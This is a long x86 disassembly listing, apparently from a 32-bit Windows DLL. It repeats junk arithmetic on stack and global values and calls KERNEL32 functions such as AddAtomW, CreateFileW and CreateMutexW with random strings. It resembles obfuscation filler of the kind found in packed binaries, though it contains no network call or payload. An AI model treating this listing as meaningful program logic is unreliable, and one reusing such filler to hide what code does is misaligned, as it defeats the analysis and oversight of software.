mov dword [0x100bb03c], eax
lea eax, [ebp - 0x2ca]
mov dword [ebp - 0x4868], eax
movzx edx, byte [ebp - 0x46]
mov eax, dword [ebp - 0x3ea8]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7e2b], dl
movsx edx, byte [0x100b713e]
movsx ecx, byte [ebp - 0xf7]
sar edx, cl
mov byte [ebp - 0x1cd], dl
mov eax, dword [ebp - 0x35b8]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x3744]
mov dword [ebp - 0x2ea8], ecx
lea edx, [ebp - 0x9cd0]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [0x100bb040], 0x100b71ec
mov ax, word [ebp - 0x528]
mov word [ebp - 0x1658], ax
mov ecx, dword [ebp - 0x3f50]
mov edx, dword [ecx]
add edx, dword [0x100b7290]
mov dword [ebp - 0x2e08], edx
mov eax, dword [ebp - 0x3658]
movzx ecx, byte [eax]
movzx edx, byte [0x100b80fa]
and ecx, edx
mov byte [0x100b729e], cl
lea eax, [ebp - 0x1f6]
mov dword [ebp - 0x486c], eax
mov ecx, dword [ebp - 0x3b58]
mov edx, dword [ecx]
or edx, dword [ebp - 0x2a48]
mov eax, dword [ebp - 0x3628]
mov dword [eax], edx
mov ecx, dword [0x100bac58]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x82c]
xor edx, eax
mov word [0x100b71e8], dx
lea ecx, [ebp - 0xf2c]
mov dword [ebp - 0x4870], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bb044], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4874], eax
movzx edx, word [0x100b7260]
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x46fc]
mov word [ecx], dx
push str.RLhwnQX_S
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba648], ax
movzx edx, byte [0x100b729a]
mov eax, dword [ebp - 0x3c94]
movzx ecx, byte [eax]
sar edx, cl
mov ecx, dword [0x100ba8a4]
mov byte [ecx], dl
mov edx, dword [0x100b992c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x4878], eax
lea eax, [ebp - 0x3ea0]
mov dword [ebp - 0x487c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4824], eax
mov ecx, dword [ebp - 0x3fd8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x426c]
mov dword [ebp - 0x4438], edx
push 0
push 2
push 2
push 0
push 8
push 0xc0000000
push str.REsYEU3Bqi34
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb048], eax
push str.Ei0Luzb
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb04c], ax
lea eax, [ebp - 0x2a0]
mov dword [0x100bb050], eax
movzx ecx, word [ebp - 0xe94]
movzx edx, word [0x100ba044]
and ecx, edx
mov word [ebp - 0xfd4], cx
push 0
push 0x200
push 4
push 0
push 4
push 0xc0000000
push str.OQU2M8KcB5XzNHG08g55PCW442Wq2
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4880], eax
lea eax, [ebp - 0x15c0]
mov dword [ebp - 0x4884], eax
mov ecx, dword [ebp - 0x38dc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2a7]
xor edx, eax
mov ecx, dword [0x100ba6c4]
mov byte [ecx], dl
movzx edx, byte [0x100b8082]
movzx eax, byte [ebp - 8]
xor edx, eax
mov ecx, dword [ebp - 0x4528]
mov byte [ecx], dl
movzx edx, word [0x100ba00c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1498], ax
mov eax, dword [ebp - 0x36bc]
mov ecx, dword [eax]
add ecx, dword [0x100b723c]
mov dword [ebp - 0x2b7c], ecx
push 0
push 0xb5
push 0x147f
push 0x24a8
push 2
mov edx, dword [0x100babf8]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x3370], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb054], eax
push 0
push 0x400
push 4
push 0
push 1
push 0x40000000
push str.aGyL5R_reWNBdVxkEztKljw0vR
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4888], eax
lea eax, [ebp - 0x37cc]
mov dword [0x100bb058], eax
push str.DRgRDh_WC_Pgfqz_siE4jP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb05c], ax
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 0x488c], ecx
movzx edx, word [0x100ba640]
mov eax, dword [ebp - 0x4444]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x6a0], dx
movsx edx, word [ebp - 0xa9c]
movsx eax, word [ebp - 0xb00]
or edx, eax
mov word [0x100b73e8], dx
mov ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x36f4]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x4044]
mov byte [ecx], dl
lea edx, [ebp - 0x2ac8]
mov dword [ebp - 0x4890], edx
movzx eax, word [0x100b72c0]
movzx ecx, word [ebp - 0x127c]
sar eax, cl
mov ecx, dword [0x100ba33c]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4894], eax
lea edx, [ebp - 0x3944]
mov dword [ebp - 0x4898], edx
mov eax, dword [0x100b9850]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3824]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x14a], cl
movsx ecx, word [0x100b729c]
mov edx, dword [ebp - 0x4280]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b9fe8], cx
mov ecx, dword [0x100b9b74]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [ebp - 0x47ec]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 8]
and eax, ecx
mov edx, dword [ebp - 0x3974]
mov byte [edx], al
mov eax, dword [ebp - 0x3630]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3068]
sar edx, cl
mov dword [ebp - 0x2e58], edx
mov dword [0x100bb060], 0x100b8092
push 0x13c
push 0
lea eax, [ebp - 0x42a8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x489c], eax
mov ecx, dword [ebp - 0x33ec]
mov dx, word [ecx]
mov word [ebp - 0x165c], dx
push 0x100bb064
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x9dd8]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b97c0], eax
movzx edx, word [ebp - 0xfb0]
mov eax, dword [ebp - 0x3d74]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x15d8], dx
mov ecx, dword [ebp - 0x3cb8]
mov edx, dword [ebp - 0x4720]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [0x100b98e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x47d0]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x432c]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x39a4]
mov word [ecx], ax
mov edx, dword [0x100ba3d8]
movzx eax, byte [edx]
mov ecx, dword [0x100b9be4]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 3], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x48a0], eax
lea eax, [ebp - 0x2bb4]
mov dword [0x100bb088], eax
push 0
push 8
push 1
push 0
push 8
push 0xc0000000
push str.llYJHkZRwXbphpklG
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb08c], eax
movzx ecx, word [ebp - 0x1488]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba004], ax
mov dl, byte [0x100b721a]
mov byte [ebp - 0x2ed], dl
mov eax, dword [ebp - 0x3b3c]
movzx ecx, word [eax]
mov edx, dword [0x100ba164]
movzx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x3ee4]
mov word [edx], cx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x48a4], eax
lea eax, [ebp - 0x510]
mov dword [0x100bb090], eax
mov ecx, dword [ebp - 0x3d48]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0xbc]
and edx, eax
mov ecx, dword [ebp - 0x4634]
mov byte [ecx], dl
mov edx, dword [ebp - 0x456c]
mov ecx, dword [0x100bae4c]
shr edx, cl
mov eax, dword [0x100ba5d0]
mov dword [eax], edx
movzx ecx, word [0x100baa00]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1408], ax
mov dword [ebp - 0x48a8], 0x100bab7c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb094], eax
mov edx, dword [ebp - 0x4144]
mov al, byte [edx]
mov byte [ebp - 0x2ee], al
push 0
push 0x200
push 3
push 0
push 1
push 0x80000000
push str.oLIuYWKcfTFF
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x48ac], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba53c], eax
mov ecx, dword [ebp - 0x3e68]
mov edx, dword [ecx]
mov dword [0x100bb098], edx
mov eax, dword [ebp - 0x41ac]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x100bb09c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [ebp - 0xda8]
mov edx, dword [ebp - 0x3898]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0xf08], cx
mov ecx, dword [ebp - 0x3ad8]
mov edx, dword [ebp - 0x4798]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x438c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4550]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x465c]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [0x100ba788]
mov word [edx], ax
mov eax, dword [ebp - 0x46b0]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x3c38]
mov dword [ebp - 0x2f90], ecx
lea edx, [ebp - 0x2a1]
mov dword [ebp - 0x48b0], edx
movsx eax, byte [ebp - 0x266]
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b7142], al
push 0x16e
mov eax, dword [ebp - 0x3560]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100baca4], eax
movsx ecx, byte [ebp - 0x22]
movsx edx, byte [0x100b71eb]
and ecx, edx
mov byte [ebp - 0x138], cl
lea eax, [ebp - 0x4314]
mov dword [ebp - 0x48b4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x48b8], eax
movzx edx, byte [0x100b7272]
mov eax, dword [ebp - 0x3a84]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b729f], dl
mov ecx, dword [ebp - 0x3e18]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x6ac]
xor edx, eax
mov ecx, dword [ebp - 0x35c8]
mov word [ecx], dx
push str.4PkM.2W
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb0c0], ax
movzx eax, word [ebp - 0x1098]
cdq
mov ecx, 0x855
idiv ecx
mov word [ebp - 0xe94], ax
mov edx, dword [ebp - 0x42bc]
mov dword [0x100bb0c4], edx
push 0x100bb0c8
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3c88]
mov cl, byte [eax]
mov byte [ebp - 0x2ef], cl
mov edx, dword [0x100b9620]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2a48]
shl eax, cl
mov dword [ebp - 0x2b58], eax
movzx ecx, byte [ebp - 0x299]
movzx edx, byte [ebp - 0x268]
add ecx, edx
mov byte [0x100b712f], cl
movzx eax, word [ebp - 0x141c]
mov ecx, dword [0x100b9c30]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x1004], ax
mov ax, word [ebp - 0x1654]
mov word [ebp - 0x1660], ax
lea ecx, [ebp - 0x38]
mov dword [0x100bb0ec], ecx
mov edx, dword [ebp - 0x4490]
movzx eax, word [edx]
movzx ecx, word [0x100ba9e8]
or eax, ecx
mov edx, dword [ebp - 0x3610]
mov word [edx], ax
mov eax, dword [0x100b958c]
mov ecx, dword [ebp - 0x2f90]
xor ecx, dword [eax]
mov dword [ebp - 0x2ca0], ecx
mov edx, dword [ebp - 0x4384]
mov ecx, dword [0x100b71f8]
sar edx, cl
mov dword [0x100b9ebc], edx
mov eax, dword [ebp - 0x419c]
movzx ecx, byte [eax]
mov edx, dword [0x100ba758]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x398c]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x48bc], eax
push 0x100b9690
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [ebp - 0x1248]
mov ecx, dword [0x100ba808]
movsx edx, word [ecx]
and eax, edx
mov word [ebp - 0x14d0], ax
lea eax, [ebp - 0xb14c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100b9d78
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x48c0], eax
movsx ecx, byte [ebp - 0x88]
movsx edx, byte [0x100b7f8e]
sub ecx, edx
mov eax, dword [0x100b9a24]
mov byte [eax], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bb0f0], eax
lea ecx, [ebp - 0x9e50]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dx, word [ebp - 0xca4]
mov word [ebp - 0x1664], dx
mov dword [ebp - 0x48c4], 0x100b7398
lea eax, [ebp - 0x2d14]
mov dword [0x100bb0f4], eax
mov ecx, dword [ebp - 0x3c30]
movzx edx, byte [ecx]
movzx ecx, byte [0x100b7216]
shl edx, cl
mov byte [ebp - 0x2d4], dl
movsx eax, byte [ebp - 0x2e4]
mov ecx, dword [0x100b9e78]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x229], al
movsx eax, word [ebp - 0x1278]
mov ecx, dword [0x100b971c]
movsx ecx, word [ecx]
sar eax, cl
mov word [0x100b72c4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x33e0], eax
movzx edx, word [ebp - 0xfb0]
movzx eax, word [ebp - 0x163c]
add edx, eax
mov word [ebp - 0xb70], dx
mov ecx, dword [ebp - 0x3f44]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3dc4]
mov eax, dword [ebp - 0x3d64]
mov dword [eax], edx
lea ecx, [ebp - 0x2dd]
mov dword [0x100bb0f8], ecx
lea edx, [ebp - 0x263]
mov dword [ebp - 0x48c8], edx
mov eax, dword [0x100ba238]
mov ecx, dword [ebp - 0x487c]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [ebp - 0x36b8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb0fc], eax
push str.5DBse
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1668], ax
mov eax, dword [ebp - 0x3650]
movzx eax, word [eax]
movzx ecx, word [0x100b7320]
cdq
idiv ecx
mov edx, dword [0x100bac04]
mov word [edx], ax
mov eax, dword [0x100ba878]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3b94], eax
lea ecx, [ebp - 0x12e8]
mov dword [ebp - 0x48cc], ecx
mov edx, dword [0x100b983c]
mov ecx, dword [ebp - 0x3fb4]
shl edx, cl
mov dword [ebp - 0x2d08], edx
mov al, byte [ebp - 0x278]
mov byte [0x100b8302], al
mov cl, byte [ebp - 0xed]
mov byte [ebp - 0x2f0], cl
lea edx, [ebp - 0x61c]
mov dword [ebp - 0x48d0], edx
mov eax, dword [ebp - 0x4264]
movzx eax, word [eax]
cdq
mov ecx, 0x991
idiv ecx
mov word [0x100ba3f4], ax
push 0
push 8
push 0
push 0
push 2
push 0x40000000
push str.6oFKRFfYDY6Ie0srmf01
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bb100], eax
mov edx, dword [ebp - 0x4268]
mov eax, dword [ebp - 0x43a8]
xor eax, dword [edx]
mov dword [ebp - 0x3654], eax
movsx ecx, word [ebp - 0x6bc]
movsx edx, word [ebp - 0x1250]
add ecx, edx
mov word [ebp - 0xaa4], cx
mov eax, dword [ebp - 0x35b8]
mov edx, dword [ebp - 0x2c60]
mov ecx, dword [eax]
sar edx, cl
mov dword [0x100b73ec], edx
mov eax, dword [0x100ba6c4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x27b]
or ecx, edx
mov eax, dword [ebp - 0x44ac]
mov byte [eax], cl
mov ecx, dword [ebp - 0x39ec]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x299]
and edx, eax
mov byte [0x100b7e3a], dl
mov cx, word [ebp - 0xa34]
mov word [ebp - 0x166c], cx
lea edx, [ebp - 0x9f70]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0x118a
push 0x81a
push 0x60f
push 1
mov eax, dword [0x100bab00]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x48d4], eax
push str.yQrqu0_CL_wnVp
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb104], ax
mov ecx, dword [ebp - 0x3800]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x3958]
mov dword [ebp - 0x30e8], edx
mov eax, dword [ebp - 0x389c]
mov ecx, dword [eax]
mov dword [0x100bb108], ecx
mov edx, dword [ebp - 0x3700]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba8a8], eax
movsx eax, word [ebp - 0xd64]
movsx ecx, word [ebp - 0x1140]
sub eax, ecx
mov word [ebp - 0xca8], ax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x48d8], eax
movsx edx, byte [ebp - 0x15]
mov eax, dword [0x100b9654]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x237], dl
movzx ecx, byte [ebp - 0x2ac]
mov edx, dword [ebp - 0x386c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [0x100b9988]
mov byte [edx], cl
movsx eax, byte [ebp - 0xf7]
mov ecx, dword [0x100ba1cc]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x383c]
mov byte [edx], al
lea eax, [ebp - 0x31c8]
mov dword [ebp - 0x48dc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba9e0], eax
movzx ecx, word [ebp - 0xbdc]
mov edx, dword [ebp - 0x3e6c]
movzx eax, word [edx]
and ecx, eax
mov word [0x100b73f0], cx
lea ecx, [ebp - 0x1658]
mov dword [ebp - 0x48e0], ecx
mov edx, dword [0x100b958c]
mov eax, dword [ebp - 0x3aac]
mov ecx, dword [edx]
or ecx, dword [eax]
mov edx, dword [ebp - 0x350c]
mov dword [edx], ecx
lea eax, [ebp - 0x257]
mov dword [0x100bb10c], eax
movsx ecx, byte [0x100b81ea]
mov edx, dword [0x100bae58]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0xf1], cl
mov ecx, dword [ebp - 0x43ac]
mov edx, dword [ebp - 0x2c60]
xor edx, dword [ecx]
mov dword [ebp - 0x2ef8], edx
mov eax, dword [0x100ba0e8]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x43bc]
movzx eax, word [edx]
add ecx, eax
mov word [0x100b73f0], cx
movsx edx, word [ebp - 0x52c]
mov eax, dword [ebp - 0x45a8]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x138c], dx
push str.8XG_YoXHf
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb110], ax
lea ecx, [ebp - 0xb098]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [ebp - 0x41bc]
mov ax, word [edx]
mov word [ebp - 0x1670], ax
mov ecx, dword [0x100b9598]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x128]
and edx, eax
mov byte [0x100b8173], dl
mov ecx, dword [ebp - 0x37ec]
mov dword [ebp - 0x48e4], ecx
mov edx, dword [ebp - 0x3a8c]
mov eax, dword [ebp - 0x3c08]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x3b98]
mov dword [eax], edx
lea ecx, [ebp - 0x2e9]
mov dword [0x100bb114], ecx
mov edx, dword [ebp - 0x4860]
movzx eax, word [edx]
movzx ecx, word [0x100ba5c4]
xor eax, ecx
mov word [ebp - 0xc44], ax
movsx eax, word [ebp - 0xca8]
cdq
mov ecx, 0x6b3
idiv ecx
mov edx, dword [ebp - 0x34ac]
mov word [edx], ax
mov eax, dword [0x100ba9dc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x38a4]
movsx eax, byte [edx]
add ecx, eax
mov byte [0x100b725b], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x4740], eax
mov ecx, dword [0x100baf20]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x26f]
or edx, eax
mov ecx, dword [ebp - 0x3f84]
mov byte [ecx], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bb118], eax
lea edx, [ebp - 0x2db8]
mov dword [ebp - 0x48e8], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x48ec], eax
mov eax, dword [0x100bafe4]
mov dword [0x100bb11c], eax
movsx ecx, byte [ebp - 0x12c]
mov edx, dword [ebp - 0x40b8]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x60], cl
mov ecx, dword [ebp - 0x33ec]
movzx edx, word [ecx]
imul eax, edx, 0x95
mov word [ebp - 0x15dc], ax
mov ecx, dword [0x100badc8]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x155c]
sub edx, eax
mov ecx, dword [0x100b9c34]
mov word [ecx], dx
movzx edx, byte [ebp - 0xac]
mov eax, dword [0x100baf78]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3534]
mov byte [ecx], dl
mov edx, dword [0x100ba174]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3d88], eax
push 0x100a7e58
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba62c], ax
mov eax, dword [ebp - 0x3714]
mov ecx, dword [eax]
mov dword [ebp - 0x48f0], ecx
mov dword [0x100bb120], 0x100bac90
push str.Q1S_zHoDgm.SvEoKG
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bb124], ax
mov edx, dword [ebp - 0x4100]
mov eax, dword [ebp - 0x2cb8]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x455c]
mov dword [ecx], eax
mov dl, byte [ebp - 0x38]
mov byte [ebp - 0x2f1], dl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x48f4], eax
movsx eax, word [ebp - 0x1494]
mov ecx, dword [ebp - 0x3ae4]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [0x100baf70]
mov word [ecx], ax
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x45a4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x297], al
mov dword [ebp - 0x48f8], 0x100b71f8
movzx eax, word [ebp - 0x1188]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bb128], ax
movsx ecx, byte [ebp - 0x2c]
movsx edx, byte [ebp - 0x2a4]
and ecx, edx
mov byte [0x100b72a2], cl
mov eax, dword [0x100ba03c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x48fc], eax
mov ecx, dword [0x100ba37c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x35e4]
movzx ecx, word [eax]
imul edx, ecx
mov word [ebp - 0x13b4], dx
lea edx, [ebp - 0x13b4]
mov dword [ebp - 0x4900], edx
lea eax, [ebp - 0x46a4]
mov dword [0x100bb12c], eax
mov ecx, dword [0x100ba458]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1308]
xor edx, eax
mov word [ebp - 0x734], dx
movzx ecx, byte [0x100b8136]
mov edx, dword [ebp - 0x3cf0]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0xed], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4504], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bb130], eax
mov edx, dword [0x100b7310]
mov ecx, dword [ebp - 0x2c6c]
shl edx, cl
mov dword [0x100baaac], edx
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x4904], eax
mov ecx, dword [ebp - 0x33ec]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x4574]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x109c], dx
push str.WgnWONK
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1674], ax
mov ecx, dword [ebp - 0x3d14]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x538]
add edx, eax
mov ecx, dword [0x100ba77c]
mov word [ecx], dx
lea edx, [ebp - 0x129]
mov dword [ebp - 0x4908], edx
mov eax, dword [ebp - 0x40d8]
mov ecx, dword [eax]
mov dword [0x100bb134], ecx
mov edx, dword [0x100b9558]
movsx eax, word [edx]
movsx ecx, word [0x100b7300]
and eax, ecx
mov word [ebp - 0x13a4], ax
push 1
lea edx, [ebp - 0x983c]
push edx
mov eax, dword [ebp - 0x98a8]
push eax
mov ecx, dword [ebp - 0x98ac]
push ecx
mov edx, dword [0x100babe4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100bb138], eax
push 0x1908
push 0
push 0x100ba6d4
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bb13c], eax
push str.R3W_IXenhK1K
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1678], ax
movzx eax, byte [ebp - 0x28b]
movzx ecx, byte [ebp - 0xed]
xor eax, ecx
mov byte [ebp - 0xcb], al
push 0x100b9cd0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x18ac
mov edx, dword [ebp - 0x4460]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100bb140], eax
mov eax, dword [ebp - 0x425c]
mov ecx, dword [ebp - 0x4658]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [0x100ba17c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x37fc]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x15d8]
sub edx, eax
mov word [ebp - 0xa18], dx
mov ecx, dword [ebp - 0x3758]
mov edx, dword [ecx]
or edx, dword [ebp - 0x4244]
mov eax, dword [ebp - 0x45c4]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x490c], eax
mov dword [0x100bb144], 0x100b72ec
mov ecx, dword [ebp - 0x3324]
mov dword [ebp - 0x4910], ecx
mov edx, dword [0x100bb10c]
mov al, byte [edx]
mov byte [ebp - 0x2f2], al
push 0x100bafc0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [ebp - 0x14dc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x167c], ax
movsx edx, byte [ebp - 0x60]
movsx ecx, byte [ebp - 0x2e4]
shl edx, cl
mov byte [0x100b72a3], dl
push 0x100bb148
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [ebp - 0x113]
movsx ecx, byte [0x100b721b]
sar eax, cl
mov ecx, dword [ebp - 0x3b80]
mov byte [ecx], al
mov edx, dword [ebp - 0x3b90]
mov eax, dword [edx]
and eax, dword [0x100b724c]
mov ecx, dword [ebp - 0x3a1c]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a80], eax
mov edx, dword [ebp - 0x4354]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x140]
add eax, ecx
mov byte [0x100b71ba], al
mov edx, dword [0x100babbc]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1308]
and eax, ecx
mov word [ebp - 0x574], ax
movzx edx, word [ebp - 0x82c]
mov eax, dword [ebp - 0x33dc]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3c60]
mov word [ecx], dx
mov edx, dword [ebp - 0x483c]
mov eax, dword [ebp - 0x4398]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [0x100b72c8], edx
lea eax, [ebp - 0x222]
mov dword [ebp - 0x4914], eax
